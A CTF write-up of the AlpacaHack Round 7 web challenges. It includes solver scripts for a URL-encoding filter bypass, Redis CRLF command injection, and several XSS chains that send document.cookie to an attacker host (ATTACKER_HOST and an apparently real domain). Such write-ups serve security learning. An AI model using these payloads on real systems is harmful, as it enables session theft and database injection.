AlpacaHack Round 7 WriteUps

發表於
分類於 CTF
This article is LLM-translated by GPT-4o, so the translation may be inaccurate or complete. If you find any mistake, please let me know.

This week I participated in the Solo CTF AlpacaHack Round 7, which consisted entirely of web challenges. The problems were quite interesting, especially the last one which took me a lot of time and I still couldn’t solve it…

Treasure Hunt

The website itself is very simple:

import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
  <li><a href=/book>/book</a></li>
  <li><a href=/drum>/drum</a></li>
  <li><a href=/duck>/duck</a></li>
  <li><a href=/key>/key</a></li>
  <li><a href=/pen>/pen</a></li>
  <li><a href=/tokyo/tower>/tokyo/tower</a></li>
  <li><a href=/wind/chime>/wind/chime</a></li>
  <li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
  res.type("text");
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

And in the Dockerfile there is:

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH

So the flag will be located at ./public/0/1/.../f/l/a/g/./t/x/t, but express uses middleware to prohibit the characters flag from appearing in req.url.

However, experimenting a bit reveals that simply URL encoding can bypass this, for example a -> %61. The rest is just writing a script to brute force search layer by layer.

import httpx, asyncio

HEX = "0123456789abcdef"


def encode_to_path(ar):
    path = ""
    for c in ar:
        path += f"/%{ord(c):02x}"
    return path


async def main():
    async with httpx.AsyncClient(base_url="http://34.170.146.252:19843/") as client:
        pre = []
        while len(pre) < 32:
            tasks = []
            for h in HEX:
                cur = pre + [h]
                tasks.append(client.get(encode_to_path(cur)))
            responses = await asyncio.gather(*tasks)
            for h, resp in zip(HEX, responses):
                if resp.status_code != 404:
                    pre.append(h)
                    print(pre)
                    break
        pre += [*"flag.txt"]
        resp = await client.get(encode_to_path(pre))
        print(resp.text)


asyncio.run(main())
# Alpaca{alpacapacapacakoshitantan}

Alpaca Poll

The key code is here:

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

And the vote function is like this:

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

The flag is under the flag key in redis.

Obviously, the goal is to use redis injection to read the flag. First, its replace of \r \n only replaces the first match, so by placing \r\n at the beginning of the payload, it can be bypassed.

Next, when it parses the response, it looks for the first number in the first packet returned, so we need to make the INCR ... part produce an error. I used INCR flag because the type is incorrect, causing an error, and no number appears in the response.

To leak the flag, I used GETBIT to read each bit of the flag, thus leaking the flag.

# curl 'http://34.170.146.252:25001/vote' -d 'animal=%0d%0aflag%0d%0aGETBIT%20flag%201'
import httpx, asyncio
from binteger import Bin


async def main():
    flaglen = 26  # STRLEN flag
    async with httpx.AsyncClient(base_url="http://34.170.146.252:25001/") as client:
        bits = []
        for i in range(flaglen):
            tasks = []
            for j in range(8):
                tasks.append(
                    client.post(
                        "vote",
                        data={"animal": f"\r\nflag\r\nGETBIT flag {i * 8 + j}"},
                    )
                )
            responses = await asyncio.gather(*tasks)
            bs = []
            for resp in responses:
                b = list(resp.json().values()).pop()
                bs.append(b)
            bits.extend(bs)
            print(bits)
            print(Bin(bits).bytes)


asyncio.run(main())
# Alpaca{ezotanuki_mofumofu}

It seems you can also use the EVAL command to execute lua, and then call methods like GETRANGE in lua to convert to ascii.

minimal-waf

This challenge is a simple XSS problem:

import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
  <h1>HTML Viewer</h1>
  <form action="/view">
    <p><textarea name="html"></textarea></p>
    <div style="text-align: center">
      <input type="submit" value="Render">
    </div>
  </form>
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);

I couldn’t find a way to bypass the regex waf, so I needed to find a way to make it go through the unchecked if statement above.

When I saw this code, I remembered the Private Browsing+ challenge I created for HITCON CTF this year, which used the chromium disk cache mechanism to bypass this. This disk cache technique comes from SECCON CTF 2022 Quals - spannote.

Without going into details, the specific steps to achieve this are:

  1. Visit the XSS url
  2. Visit another page that will make a request to the same XSS url with correct headers (without waf headers)
  3. Visit about:blank
  4. history.go(-2)
  5. Cached response in disk cache gets loaded -> XSS

A key point here is to find a way to perform a fetch to another url under the waf. The simplest idea is to use <img src="...">, but it is blocked by the waf’s src. However, similar things like background: url(...) in css are not in the waf, so they can be used.

However, there is a problem that the url in the style tag is the XSS url (http://localhost:3000/view?html=<script>...), and the url contains words like html and script that are blocked by the waf, so a method to escape is needed.

I used the css string method where unicode codepoints can be represented as \0061 to bypass this, so the exploit can be written as follows:

<script>
	const sleep = ms => new Promise(res => setTimeout(res, ms))
	;(async () => {
		const url =
			'http://localhost:3000/view?html=' +
			encodeURIComponent('<script>(new Image).src="//ATTACKER_HOST/flag?"+document.cookie<\/script>')
		const url2 = url
			.split('')
			.map(c => '\\' + c.charCodeAt(0).toString(16).padStart(4, '0'))
			.join('')
		const w = open(url)
		await sleep(1000)
		w.location =
			'http://localhost:3000/view?html=' +
			encodeURIComponent(`
        <style>body{background: url("${url2}")}</style>
        `)
		await sleep(1000)
		w.location = 'about:blank'
		await sleep(100)
		w.history.go(-2)
	})()
</script>
<!-- Alpaca{WafWafPanic} -->

Additionally, I saw another solution from this tweet:

Prefetching a page containing script will send Sec-Fetch-Dest: empty -> Move to the page containing script

In short, prefetch the XSS url, then visit the XSS url. This works because prefetch sends Sec-Fetch-Dest: empty, and visiting it will load from the prefetch cache, thus achieving XSS.

I wrote a similar exploit myself:

<script>
	const sleep = ms => new Promise(res => setTimeout(res, ms))
	;(async () => {
		const url =
			'http://localhost:3000/view?html=' +
			encodeURIComponent('<script>(new Image).src="//z.ss0.pw/flag?"+document.cookie<\/script>')
		const url2 = url.split('').join('\n')
		const w = open(url)
		await sleep(1000)
		w.location =
			'http://localhost:3000/view?html=' +
			encodeURIComponent(`
        <link rel="prefetch" href="${url2}" />
        `)
		await sleep(10000)
		w.location = url
	})()
</script>

Another direct bypass for the waf is using the <embed> tag’s undocumented code attribute, which functions similarly to src. It seems to be a strange feature of chromium….

Payload generator:

const payload = '<script>alert(origin)</script>'
const payload2 = payload
	.split('')
	.map(c => '%' + c.charCodeAt(0).toString(16).padStart(2, '0'))
	.join('')
const url =
	'http://localhost:3000/view?html=' +
	encodeURIComponent(`
<embed code="/view?ht
ml=${payload2}" type="text/ht
ml"></embed>
`)
console.log(url)

disconnection

The challenge is very short:

import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
  .use("/", (req, res, next) => {
    res.setHeader(
      "Content-Security-Policy",
      "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .all("/*", (req, res) => res.socket.destroy()) // disconnected
  .listen(3000);

The flag is in the bot’s cookie, but the path is under /cookie:

const page = await context.newPage();
await page.setCookie({
	name: "FLAG",
	value: FLAG,
	domain: APP_HOST,
	path: "/cookie", // 🍪
});
await page.goto(url, { timeout: 5_000 });
await sleep(10_000);
await page.close();

So the goal is to find a way to read the /cookie cookie through XSS on /. The usual method is to open /cookie and access w.document.cookie, but since the path /* directly drops the connection, it can’t normally open /cookie.

My first thought was to use RPO (Relative Path Overwrite), making the browser think it’s a page under /cookie but the server normalizes it to /, thus reading the /cookie cookie. Unfortunately, express + node.js doesn’t normalize paths, so this doesn’t work.

Another direction is to question whether /* paths really get disconnected. Testing shows that paths like /cookie/%gg cause a decode error in express’s internal path handling, resulting in a normal error page, which can be used to read the flag.

<script>
	xss = `
    w=open('/cookie/%gg')
    setTimeout(()=>{
    	location='//ATTACKER_HOST/flag?'+w.document.cookie
    },1000)
`
	location = 'http://disconnection:3000/?xss=' + encodeURIComponent(xss)
</script>
<!-- Alpaca{browser_behavior_is_to0o0o0o0o0o0o0_complicated} -->

However, this solution is clearly unintended, so the challenge author released the next challenge, disconnection-revenge, which I got stuck on for a long time and couldn’t solve QQ.

*disconnection-revenge

This challenge was upsolved

import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
  .use("/", (req, res, next) => {
    res.setHeader(
      "Content-Security-Policy",
      "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .all("/*", (req, res) => res.socket.destroy()) // disconnected
  .use((err, req, res, next) => {
    // revenge!
    res.socket.destroy(); // disconnected
  })
  .listen(3000);

The goal is the same, but it adds an error handler to disconnect the connection, invalidating the previous solution.

So I thought, if express-level errors don’t work, can we achieve it through node.js http errors? From here, we can see node.js has built-in errors for handling bad requests, timeouts, headers too large, chunk extensions too large, etc.

The easiest to trigger is HTTP 431 for headers too large, just use a very long path:

location = 'http://34.170.146.252:55944/'+'a'.repeat(20000)

However, this produces chromium’s own error page with the url chrome-error://chromewebdata/, so it can’t be used to read the cookie.

I did some additional experiments and found that as long as the status code is >= 400 and the body is empty, chromium’s error page appears. To avoid triggering the built-in error page, the status code must be < 400 or the body must contain something (at least 1 byte). Related chromium code can be found here.

I was stuck here until the end of the competition because I couldn’t find another way to produce an error page while keeping it same origin.

Later, I saw this writeup (not sure if it’s intended), which revealed that chromium’s built-in error page doesn’t trigger in an iframe, so triggering 431 in an iframe results in an error at /cookie/aaaa.... in the iframe. However, due to CSP, the iframe must be embedded in a page on our own origin, which causes document.cookie to be empty due to samesite cookies, but its cookie url is still /cookie/aaaa.....

The bypass method is simple: create a top frame related to the error page, and the samesite issue is resolved. The writeup’s method is to directly win_ref.open() an about:blank page, then read the cookie from it.

<iframe id="f1"></iframe>
<iframe id="f2"></iframe>
<script>
	const base = 'http://disconnection-revenge:3000/'
	const sleep = ms => new Promise(res => setTimeout(res, ms))
	;(async () => {
		f1.src = new URL('/cookie/' + 'a'.repeat(20000), base)
		await sleep(1000)
		f2.src = new URL(
			'/?xss=' +
				encodeURIComponent(`
            w = top[0].open('about:blank')
            setTimeout(()=>{
            	top.location = 'http://ATTACKER_HOST/flag?' + w.document.cookie
            }, 1000)
        `),
			base
		)
	})()
</script>
<!-- Alpaca{unintended_solutions_everywh3re_sorry} -->

This solution shows that about:blank can inherit the initiator’s cookie (see also whatwg/html #332).

Additionally, the cookie url mentioned earlier is not defined in any spec but is an implementation detail of chromium. Checking further, I found the Define a policy container issue, which explains that many features like csp, referrer policy, cookie url inheritance currently lack a standard spec, so these behaviors are often implementation-defined.